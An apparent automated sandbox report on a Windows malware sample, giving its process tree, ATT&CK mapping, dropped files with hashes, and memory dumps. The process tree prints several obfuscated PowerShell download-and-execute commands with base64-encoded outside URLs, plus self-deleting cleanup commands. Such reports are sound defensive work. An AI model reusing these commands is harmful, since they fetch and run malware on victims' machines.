$fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
- Suspicious use of WriteProcessMemory
PID:3920

C:\Users\Public\fwk.exe
"C:\Users\Public\fwk.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4656

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs"
6⤵
PID:928

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
7⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Modifies registry class
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4796

C:\Windows\SysWOW64\WScript.exe
"C:\Windows\System32\WScript.exe" "C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs"
8⤵
PID:2164

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
9⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious use of AdjustPrivilegeToken
PID:4412

C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe
"C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe"
10⤵
- Executes dropped EXE
PID:3836

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
8⤵
- Executes dropped EXE
PID:4424

C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe
"C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe"
8⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4508

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4508 & erase C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe & RD /S /Q C:\\ProgramData\\912282529676058\\* & exit
9⤵
PID:4344

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4508
10⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:4140

C:\Users\Public\fwk.exe
"C:\Users\Public\fwk.exe"
6⤵
- Executes dropped EXE
PID:2672

C:\Users\Public\fwk.exe
"C:\Users\Public\fwk.exe"
6⤵
- Executes dropped EXE
PID:1552

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E99A.tmp\b1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:1140

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL ftdrmoulpbhgsc $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;ftdrmoulpbhgsc rfmngajuyepx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|rfmngajuyepx;ftdrmoulpbhgsc hnjmzobgr $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3Bkc2hjanZudi51Zy96eGN2Yi5leGU=';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);hnjmzobgr $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:2860

C:\Windows\SysWOW64\timeout.exe
timeout 2
3⤵
- Delays execution with timeout.exe
PID:2040

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E99A.tmp\ba.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:572

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL vfudzcotabjeq $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;vfudzcotabjeq urdjneqmx $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|urdjneqmx;vfudzcotabjeq wuirkcyfmgjql $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL2JpdC5kby9mcWhKRA==';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);wuirkcyfmgjql $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Blocklisted process makes network request
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4152

C:\Users\Public\nek.exe
"C:\Users\Public\nek.exe"
5⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4228

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:3864

C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe
"C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe"
7⤵
- Executes dropped EXE
- Loads dropped DLL
- Checks processor information in registry
PID:4588

C:\Windows\SysWOW64\cmd.exe
"C:\Windows\System32\cmd.exe" /c taskkill /pid 4588 & erase C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe & RD /S /Q C:\\ProgramData\\596078488600753\\* & exit
8⤵
PID:3756

C:\Windows\SysWOW64\taskkill.exe
taskkill /pid 4588
9⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:204

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
6⤵
- Executes dropped EXE
- Suspicious use of SetThreadContext
- Suspicious behavior: MapViewOfSection
- Suspicious use of SetWindowsHookEx
PID:4164

C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe
"C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe"
7⤵
- Executes dropped EXE
PID:4608

C:\Users\Public\nek.exe
"C:\Users\Public\nek.exe"
6⤵
- Executes dropped EXE
PID:4564

C:\Windows\SysWOW64\mshta.exe
"C:\Windows\SysWOW64\mshta.exe" "C:\Users\Admin\AppData\Local\Temp\E99A.tmp\ba1.hta" {1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}{1E460BD7-F1C3-4B2E-88BF-4E770A288AF5}
3⤵
- Suspicious use of WriteProcessMemory
PID:4248

C:\Windows\SysWOW64\WindowsPowerShell\v1.0\powershell.exe
"C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe" -ExecutionPolicy UnRestricted -Window 1 [void] $null;$wdxubevfic = Get-Random -Min 3 -Max 4;$qidanupkvwj = ([char[]]([char]97..[char]122));$jfwlpghdovb = -join ($qidanupkvwj | Get-Random -Count $wdxubevfic | % {[Char]$_});$hdxnlosbpmk = [char]0x2e+[char]0x65+[char]0x78+[char]0x65;$zdkhpw = $jfwlpghdovb + $hdxnlosbpmk;$sypim=[char]0x53+[char]0x61+[char]0x4c;$xzrhm=[char]0x49+[char]0x45+[char]0x58;$edxlnf=[char]0x73+[char]0x41+[char]0x70+[char]0x53;sAL wvroy $sypim;$kjavpydntew=[char]0x4e+[char]0x65+[char]0x74+[char]0x2e+[char]0x57+[char]0x65+[char]0x62+[char]0x43+[char]0x6c+[char]0x69+[char]0x65+[char]0x6e+[char]0x74;wvroy bwskyfgqtipu $xzrhm;$andcvkhb=[char]0x24+[char]0x65+[char]0x6e+[char]0x76+[char]0x3a+[char]0x50+[char]0x55+[char]0x42+[char]0x4c+[char]0x49+[char]0x43|bwskyfgqtipu;wvroy shlevpgb $edxlnf;$bykmo = $andcvkhb + [char]0x5c + $zdkhpw;;;;$zvngemsbua = 'aHR0cDovL3JiY3h2bmIudWcvenhjdmIuZXhl';$zvngemsbua=[System.Text.Encoding]::UTF8.GetString([System.Convert]::FromBase64String($zvngemsbua));$mzyjvgc = New-Object $kjavpydntew;$ihtxzqnbs = $mzyjvgc.DownloadData($zvngemsbua);[IO.File]::WriteAllBytes($bykmo, $ihtxzqnbs);shlevpgb $bykmo;;$pnsva = @($uwgibvlp, $ulzwsymt, $fzlbxhr, $rgkeho);foreach($tgmqlbc in $pnsva){$null = $_}""
4⤵
- Suspicious behavior: EnumeratesProcesses
- Suspicious use of AdjustPrivilegeToken
PID:4352

C:\Windows\SysWOW64\DllHost.exe
C:\Windows\SysWOW64\DllHost.exe /Processid:{3E5FC7F9-9A51-4367-9063-A120244FBEC7}
1⤵
PID:3988

C:\Windows\SysWOW64\cmd.exe
cmd /c start C:\Windows\temp\vrl1v4lv.exe
2⤵
PID:4432

C:\Windows\temp\vrl1v4lv.exe
C:\Windows\temp\vrl1v4lv.exe
3⤵
- Executes dropped EXE
PID:3464

C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
"powershell" Get-MpPreference -verbose
4⤵
- Suspicious use of AdjustPrivilegeToken
PID:3240

C:\Windows\SysWOW64\taskkill.exe
taskkill /IM cmstp.exe /F
2⤵
- Kills process with taskkill
- Suspicious use of AdjustPrivilegeToken
PID:3492

Network

MITRE ATT&CK Matrix ATT&CK v6

Initial Access

Execution

Persistence

Modify Existing Service

T1031

Privilege Escalation

Defense Evasion

Modify Registry

T1112

Disabling Security Tools

T1089

Credential Access

Credentials in Files

T1081

Discovery

Query Registry

T1012

System Information Discovery

T1082

Lateral Movement

Collection

Data from Local System

T1005

Exfiltration

Command and Control

Impact

Replay Monitor

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Downloads

C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.exe.log

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive

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C:\Users\Admin\AppData\Local\Temp\887RMOpg0K.exe

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C:\Users\Admin\AppData\Local\Temp\887RMOpg0K.exe

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C:\Users\Admin\AppData\Local\Temp\Coctuoidu.vbs

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\Keygen.exe

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\b.hta

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\b1.hta

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\ba.hta

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\ba1.hta

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\m.hta

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\m1.hta

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C:\Users\Admin\AppData\Local\Temp\E99A.tmp\start.bat

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\FVjhgtresfdbv.exe

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C:\Users\Admin\AppData\Local\Temp\LhrOw7tsxA.exe

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C:\Users\Admin\AppData\Local\Temp\LhrOw7tsxA.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\NHtrdsaghfDF.exe

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C:\Users\Admin\AppData\Local\Temp\O5dS3owdN9.exe
MD5
013db621a3351e3fb049efd2ccad79ff

SHA1
a23394ea54dbc5342a77938a2c285ee616185560

SHA256
df1bda6183201e4dc1bc6f6425361a565413e71f09da0648b0c82b39786af27a

SHA512
1bf6d076677b234c9da7cbc720fc64632b587b4223b5370a7ca3d53c4d59fa59ef117957b1646c92ba80dac332f6c1c313060d35de7236b2585e5bed00d79229

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C:\Users\Admin\AppData\Local\Temp\Rarujmxnv.vbs

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C:\Users\Admin\AppData\Local\Temp\UUKZMITakx.exe

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C:\Users\Admin\AppData\Local\Temp\UUKZMITakx.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\axcsdfa.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Admin\AppData\Local\Temp\hgfnmbasdo.exe

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C:\Users\Public\fwk.exe

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C:\Users\Public\fwk.exe

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C:\Users\Public\fwk.exe

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C:\Users\Public\fwk.exe

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C:\Users\Public\jfk.exe

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C:\Users\Public\jfk.exe

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C:\Users\Public\jfk.exe

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C:\Users\Public\nek.exe

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C:\Users\Public\nek.exe

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C:\Users\Public\nek.exe

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C:\Windows\Temp\vrl1v4lv.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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C:\Windows\temp\cd3upyjt.inf

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C:\Windows\temp\vrl1v4lv.exe
MD5
f4b5c1ebf4966256f52c4c4ceae87fb1

SHA1
ca70ec96d1a65cb2a4cbf4db46042275dc75813b

SHA256
88e7d1e5414b8fceb396130e98482829eac4bdc78fbc3fe7fb3f4432137e0e03

SHA512
02a7790b31525873ee506eec4ba47800310f7fb4ba58ea7ff4377bf76273ae3d0b4269c7ad866ee7af63471a920c4bd34a9808766e0c51bcaf54ba2e518e6c1e

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\??\PIPE\lsarpc

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\mozglue.dll

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\nss3.dll
MD5
bfac4e3c5908856ba17d41edcd455a51

SHA1
8eec7e888767aa9e4cca8ff246eb2aacb9170428

SHA256
e2935b5b28550d47dc971f456d6961f20d1633b4892998750140e0eaa9ae9d78

SHA512
2565bab776c4d732ffb1f9b415992a4c65b81bcd644a9a1df1333a269e322925fc1df4f76913463296efd7c88ef194c3056de2f1ca1357d7b5fe5ff0da877a66

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\ProgramData\sqlite3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\freebl3.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\mozglue.dll

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\nss3.dll
MD5
02cc7b8ee30056d5912de54f1bdfc219

SHA1
a6923da95705fb81e368ae48f93d28522ef552fb

SHA256
1989526553fd1e1e49b0fea8036822ca062d3d39c4cab4a37846173d0f1753d5

SHA512
0d5dfcf4fb19b27246fa799e339d67cd1b494427783f379267fb2d10d615ffb734711bab2c515062c078f990a44a36f2d15859b1dacd4143dcc35b5c0cee0ef5

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\Users\Admin\AppData\LocalLow\3098htrhpen8ifg0\softokn3.dll

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\Users\Admin\AppData\LocalLow\sqlite3.dll

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memory/204-219-0x0000000000000000-mapping.dmp

Download
memory/572-65-0x0000000000000000-mapping.dmp

Download
memory/792-290-0x0000000000F00000-0x0000000000F01000-memory.dmp

Filesize
4KB

Download
memory/792-280-0x0000000000000000-mapping.dmp

Download
memory/792-307-0x0000000005150000-0x0000000005153000-memory.dmp

Filesize
12KB

Download
memory/792-284-0x0000000070740000-0x0000000070E2E000-memory.dmp

Filesize
6.9MB

Download
memory/792-287-0x0000000000560000-0x0000000000561000-memory.dmp

Filesize
4KB

Download
memory/792-295-0x0000000002660000-0x0000000002671000-memory.dmp

Filesize
68KB

Download
memory/928-194-0x0000000000000000-mapping.dmp

Download
memory/1140-26-0x0000000000000000-mapping.dmp

Download
memory/1144-305-0x0000000004D80000-0x0000000004D81000-memory.dmp

Filesize
4KB

Download
memory/1144-301-0x0000000000000000-mapping.dmp

Download
memory/1144-303-0x0000000004D80000-0x0000000004D81000-memory.dmp

Filesize
4KB

Download
memory/1552-202-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1552-200-0x000000000043FCC3-mapping.dmp

Download
memory/1552-198-0x0000000000400000-0x0000000000493000-memory.dmp

Filesize
588KB

Download
memory/1792-7-0x0000000000000000-mapping.dmp

Download
memory/2040-29-0x0000000000000000-mapping.dmp

Download
memory/2164-224-0x0000000000000000-mapping.dmp

Download
memory/2636-199-0x0000000000000000-mapping.dmp

Download
memory/2704-0-0x0000000000000000-mapping.dmp

Download
memory/2780-17-0x0000000070280000-0x000000007096E000-memory.dmp

Filesize
6.9MB

Download
memory/2780-53-0x0000000008980000-0x0000000008981000-memory.dmp

Filesize
4KB

Download
memory/2780-56-0x0000000008880000-0x0000000008881000-memory.dmp

Filesize
4KB

Download
memory/2780-37-0x0000000008140000-0x0000000008141000-memory.dmp

Filesize
4KB

Download
memory/2780-13-0x0000000000000000-mapping.dmp

Download
memory/2780-51-0x0000000007F50000-0x0000000007F51000-memory.dmp

Filesize
4KB

Download
memory/2824-30-0x00000000073F0000-0x00000000073F1000-memory.dmp

Filesize
4KB

Download
memory/2824-19-0x00000000049C0000-0x00000000049C1000-memory.dmp

Filesize
4KB

Download
memory/2824-67-0x0000000009C70000-0x0000000009C71000-memory.dmp

Filesize
4KB

Download
memory/2824-32-0x0000000007500000-0x0000000007501000-memory.dmp

Filesize
4KB

Download
memory/2824-35-0x0000000007BA0000-0x0000000007BA1000-memory.dmp

Filesize
4KB

Download
memory/2824-68-0x0000000009220000-0x0000000009221000-memory.dmp

Filesize
4KB

Download
memory/2824-98-0x00000000091E0000-0x00000000091E1000-memory.dmp

Filesize
4KB

Download
memory/2824-99-0x000000000A7F0000-0x000000000A7F1000-memory.dmp

Filesize
4KB

Download
memory/2824-12-0x0000000000000000-mapping.dmp

Download
memory/2824-23-0x0000000007570000-0x0000000007571000-memory.dmp

Filesize
4KB

Download
memory/2824-97-0x0000000009970000-0x0000000009971000-memory.dmp

Filesize
4KB

Download
memory/2824-18-0x0000000070280000-0x000000007096E000-memory.dmp

Filesize
6.9MB

Download
memory/2856-21-0x0000000000000000-mapping.dmp

Download
memory/2860-28-0x0000000000000000-mapping.dmp

Download
memory/2860-40-0x0000000070280000-0x000000007096E000-memory.dmp

Filesize
6.9MB

Download
memory/3080-268-0x0000000070740000-0x0000000070E2E000-memory.dmp

Filesize
6.9MB

Download
memory/3080-334-0x0000000004F30000-0x0000000004F53000-memory.dmp

Filesize
140KB

Download
memory/3080-336-0x0000000004F60000-0x0000000004F84000-memory.dmp

Filesize
144KB

Download
memory/3080-269-0x0000000000370000-0x0000000000371000-memory.dmp

Filesize
4KB

Download
memory/3080-265-0x0000000000000000-mapping.dmp

Download
memory/3080-275-0x0000000004C60000-0x0000000004C61000-memory.dmp

Filesize
4KB

Download
memory/3240-332-0x000002BF28CD0000-0x000002BF28CD1000-memory.dmp

Filesize
4KB

Download
memory/3240-333-0x000002BF297C0000-0x000002BF297C1000-memory.dmp

Filesize
4KB

Download
memory/3240-327-0x0000000000000000-mapping.dmp

Download
memory/3240-330-0x00007FF8508C0000-0x00007FF8512AC000-memory.dmp

Filesize
9.9MB

Download
memory/3368-11-0x0000000000000000-mapping.dmp

Download
memory/3408-9-0x0000000000000000-mapping.dmp

Download
memory/3464-318-0x0000000000000000-mapping.dmp

Download
memory/3464-323-0x00007FF8508C0000-0x00007FF8512AC000-memory.dmp

Filesize
9.9MB

Download
memory/3464-324-0x00000000000D0000-0x00000000000D1000-memory.dmp

Filesize
4KB

Download
memory/3464-319-0x0000000000000000-mapping.dmp

Download
memory/3492-326-0x0000000000000000-mapping.dmp

Download
memory/3756-218-0x0000000000000000-mapping.dmp

Download
memory/3836-264-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3836-261-0x0000000000400000-0x0000000000420000-memory.dmp

Filesize
128KB

Download
memory/3836-262-0x000000000041A684-mapping.dmp

Download
memory/3864-169-0x0000000000000000-mapping.dmp

Download
memory/3868-3-0x0000000000000000-mapping.dmp

Download
memory/3868-2-0x0000000000000000-mapping.dmp

Download
memory/3880-341-0x0000000008F80000-0x0000000008FB3000-memory.dmp

Filesize
204KB

Download
memory/3880-329-0x0000000007CC0000-0x0000000007CC1000-memory.dmp

Filesize
4KB

Download
memory/3880-317-0x0000000007790000-0x0000000007791000-memory.dmp

Filesize
4KB

Download
memory/3880-310-0x0000000070740000-0x0000000070E2E000-memory.dmp

Filesize
6.9MB

Download
memory/3880-309-0x0000000000000000-mapping.dmp

Download
memory/3920-27-0x0000000000000000-mapping.dmp

Download
memory/3920-34-0x0000000070280000-0x000000007096E000-memory.dmp

Filesize
6.9MB

Download
memory/4140-256-0x0000000000000000-mapping.dmp

Download
memory/4152-66-0x0000000000000000-mapping.dmp

Download
memory/4152-71-0x0000000070280000-0x000000007096E000-memory.dmp

Filesize
6.9MB

Download
memory/4164-174-0x0000000000000000-mapping.dmp

Download
memory/4212-337-0x0000000070740000-0x0000000070E2E000-memory.dmp

Filesize
6.9MB

Download
memory/4212-335-0x0000000000000000-mapping.dmp

Download
memory/4228-158-0x0000000000000000-mapping.dmp

Download
memory/4248-73-0x0000000000000000-mapping.dmp

Download
memory/4344-255-0x0000000000000000-mapping.dmp

Download
memory/4352-82-0x0000000070280000-0x000000007096E000-memory.dmp

Filesize
6.9MB

Download
memory/4352-77-0x0000000000000000-mapping.dmp

Download
memory/4412-238-0x0000000002730000-0x0000000002731000-memory.dmp

Filesize
4KB

Download
memory/4412-236-0x00000000006C0000-0x00000000006C1000-memory.dmp

Filesize
4KB

Download
memory/4412-235-0x0000000072460000-0x0000000072B4E000-memory.dmp

Filesize
6.9MB

Download
memory/4412-233-0x0000000000000000-mapping.dmp

Download
memory/4412-258-0x0000000004FD0000-0x0000000004FF4000-memory.dmp

Filesize
144KB

Download
memory/4432-311-0x0000000000000000-mapping.dmp

Download
memory/4508-231-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/4508-229-0x0000000000417A8B-mapping.dmp

Download
memory/4508-228-0x0000000000400000-0x0000000000434000-memory.dmp

Filesize
208KB

Download
memory/4564-187-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4564-183-0x000000000043FCC3-mapping.dmp

Download
memory/4588-188-0x0000000000417A8B-mapping.dmp

Download
memory/4588-192-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

Download
memory/4608-189-0x000000000041A684-mapping.dmp

Download
memory/4644-273-0x0000000000000000-mapping.dmp

Download
memory/4648-104-0x0000000000000000-mapping.dmp

Download
memory/4656-195-0x0000000005D90000-0x0000000005D9D000-memory.dmp

Filesize
52KB

Download
memory/4656-105-0x0000000000000000-mapping.dmp

Download
memory/4656-115-0x0000000000180000-0x0000000000181000-memory.dmp

Filesize
4KB

Download
memory/4656-166-0x0000000004B90000-0x0000000004C40000-memory.dmp

Filesize
704KB

Download
memory/4656-171-0x0000000004CE0000-0x0000000004CE1000-memory.dmp

Filesize
4KB

Download
memory/4656-108-0x0000000070280000-0x000000007096E000-memory.dmp

Filesize
6.9MB

Download
memory/4700-294-0x00000000050B0000-0x00000000050C2000-memory.dmp

Filesize
72KB

Download
memory/4700-276-0x0000000000000000-mapping.dmp

Download
memory/4700-300-0x000000000AD40000-0x000000000AD45000-memory.dmp

Filesize
20KB

Download
memory/4700-289-0x0000000002B30000-0x0000000002B31000-memory.dmp

Filesize
4KB

Download
memory/4700-279-0x0000000070740000-0x0000000070E2E000-memory.dmp

Filesize
6.9MB

Download
memory/4700-285-0x0000000000830000-0x0000000000831000-memory.dmp

Filesize
4KB

Download
memory/4756-282-0x0000000000000000-mapping.dmp

Download
memory/4796-210-0x0000000002860000-0x0000000002861000-memory.dmp

Filesize
4KB

Download
memory/4796-204-0x0000000000000000-mapping.dmp

Download
memory/4796-206-0x0000000072290000-0x000000007297E000-memory.dmp

Filesize
6.9MB

Download
memory/4796-207-0x0000000000810000-0x0000000000811000-memory.dmp

Filesize
4KB

Download
memory/4796-222-0x000000000A8E0000-0x000000000A931000-memory.dmp

Filesize
324KB

Download
memory/4800-117-0x0000000000000000-mapping.dmp

Download
memory/4816-120-0x0000000000000000-mapping.dmp

Download
memory/4876-208-0x0000000000000000-mapping.dmp

Download
memory/4880-129-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

Download
memory/4880-130-0x000000000043FCC3-mapping.dmp

Download
memory/4880-132-0x0000000000400000-0x0000000000498000-memory.dmp

Filesize
608KB

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memory/4896-133-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4896-137-0x0000000000400000-0x0000000000439000-memory.dmp

Filesize
228KB

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memory/4896-135-0x0000000000417A8B-mapping.dmp

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memory/4916-140-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/4916-138-0x000000000041A684-mapping.dmp

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memory/4916-134-0x0000000000400000-0x0000000000425000-memory.dmp

Filesize
148KB

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memory/5108-291-0x0000000000000000-mapping.dmp

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